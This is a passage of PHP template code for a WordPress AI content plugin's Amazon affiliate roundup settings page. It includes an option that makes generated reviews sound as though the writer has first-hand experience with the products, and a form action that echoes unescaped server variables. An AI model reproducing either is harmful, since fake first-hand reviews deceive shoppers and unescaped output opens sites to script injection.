'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_rules = get_option('aiomatic_amazon_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("Amazon Product Roundup", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("Product Search Keywords / Product ASIN List", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide the search keyword for Amazon products to be included in the created article. Alternatively, you can provide a comma separated list of product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from the ASIN lists, add a new comma separated ASIN list to a new line.", 'aiomatic-automatic-ai-content-writer'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $amaz_ext_active = false; if (is_plugin_active('aiomatic-extension-amazon-api/aiomatic-extension-amazon-api.php')) { $amaz_ext_active = true; } if(isset($aiomatic_Main_Settings['amazon_app_id']) && trim($aiomatic_Main_Settings['amazon_app_id']) != '' && isset($aiomatic_Main_Settings['amazon_app_secret']) && trim($aiomatic_Main_Settings['amazon_app_secret']) != '' && $amaz_ext_active == true) { echo '<br/><br/>' . esc_html__("Because you are using the 'Aiomatic Extension: Amazon API' extension, you can query Amazon API also by product categories. To do so, enter at the end of the keyword you are searching for, the category, in this format:", 'aiomatic-automatic-ai-content-writer') . '<br/><br/>' . '<b>category: HomeAndKitchen</b>' . '<br/>' . '<b>pan category: HomeAndKitchen</b>' . '<br/>' . '<b>french fries category: HomeAndKitchen</b>' . '<br/><br/>' . esc_html__("Possible category values are: ", 'aiomatic-automatic-ai-content-writer') . '<br>' . '<i>' . implode(', ', AIOMATIC_AMAZON_CATEGORIES) . '</i>' . '<br/><br/>' . esc_html__("Check valid values for your locale, here: ", 'aiomatic-automatic-ai-content-writer') . '<br/><a href="https://webservices.amazon.de/paapi5/documentation/locale-reference.html" target="_blank">Locale Reference for Product Advertising API</a>'; } else { if($amaz_ext_active == true) { echo ' ' . esc_html__("To filter products by categories, you also need to enter your Amazon API key in the Aiomatic's 'Settings', afterwards, more details will appear here about the category filtering options.", 'aiomatic-automatic-ai-content-writer'); } else { echo ' ' . esc_html__("If you activate the 'Aiomatic Extension: Amazon API' plugin, which adds support for Amazon API access to Aiomatic, and also add your Amazon API key and secret in the plugin settings, you will be able to query Amazon also by product categories. Activate the Amazon Extension plugin and more details will appear here about usage.", 'aiomatic-automatic-ai-content-writer'); } } ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_amazon(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_amazon_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_amazon_list[amazon_keyword][]" placeholder="Example: dog food" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_amazon_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_amazon_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id" name="aiomatic_amazon_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected('');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Amazon Search Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ); ?> </div> </div> <b><?php echo esc_html__("Amazon Associate ID (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[affiliate_id][]" value="" placeholder="Please insert your Amazon Affiliate ID" class="cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the country where you have registred your affiliate account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Target Country:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="source" name="aiomatic_amazon_list[target_country][]" class="cr_width_full"> <?php $amaz_countries = aiomatic_get_amazon_codes(); foreach ($amaz_countries as $key => $value) { echo '<option value="' . esc_html($key) . '">' . esc_html($value) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a minimum price for the imported item? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Min Price in Pennies:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="min_price" name="aiomatic_amazon_list[min_price][]" class="cr_width_full" placeholder="Input the minimum price in pennies"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a maximum price for the imported item? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Price in Pennies:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="max_price" name="aiomatic_amazon_list[max_price][]" class="cr_width_full" placeholder="Input the maximum price in pennies"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the maximum number of products to include in the product roundup article. You can also enter number ranges like: 3-4", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Number Of Products To Include:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="max_products" name="aiomatic_amazon_list[max_products][]" placeholder="3-4" class="cr_width_full" value="3-4"> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type of sorting of the returned results. This will work only if you also set a value to the 'Amazon Category' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Sort Results By:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="sort_results" name="aiomatic_amazon_list[sort_results][]" class="cr_width_full"> <option value="none" selected><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Relevance"><?php echo esc_html__("Relevance", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:LowToHigh"><?php echo esc_html__("Price:LowToHigh", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:HighToLow"><?php echo esc_html__("Price:HighToLow", 'aiomatic-automatic-ai-content-writer');?></option> <option value="NewestArrivals"><?php echo esc_html__("NewestArrivals", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Featured"><?php echo esc_html__("Featured", 'aiomatic-automatic-ai-content-writer');?></option> <option value="AvgCustomerReviews"><?php echo esc_html__("AvgCustomerReviews", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If enabled, the products will be shuffled, randomizing their order on each run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Randomize Product Order:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="shuffle_products" name="aiomatic_amazon_list[shuffle_products][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Writer Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If enabled, the article will be written from a perspective that sometimes can make it sound like the writer has first-hand experience with the products.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable First-Hand Experience:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="first_hand" name="aiomatic_amazon_list[first_hand][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Titles To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_amazon_list[sections_role][]"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count" name="aiomatic_amazon_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add the product images to the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Images To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_images" name="aiomatic_amazon_list[topic_images][]" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Add Product Links to Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_headlink" name="aiomatic_amazon_list[no_headlink][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Relevant YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos" name="aiomatic_amazon_list[topic_videos][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[title_outro][]" value="{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}" placeholder="Optional" class="cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Table Of Contents':", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc" name="aiomatic_amazon_list[enable_toc][]"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Table Of Contents' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="aiomatic_amazon_list[title_toc][]" value="Table of Contents" placeholder="Table of Contents" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Q&A' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa" name="aiomatic_amazon_list[enable_qa][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Q&A' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[title_qa][]" value="Q&A" placeholder="Q&A" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a product comparison table to the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Comparison Table:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_table" name="aiomatic_amazon_list[enable_table][]"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language" name="aiomatic_amazon_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="English"/> <datalist id="languages"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style" name="aiomatic_amazon_list[writing_style][]" type="text" placeholder="Created content writing style" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone" name="aiomatic_amazon_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from 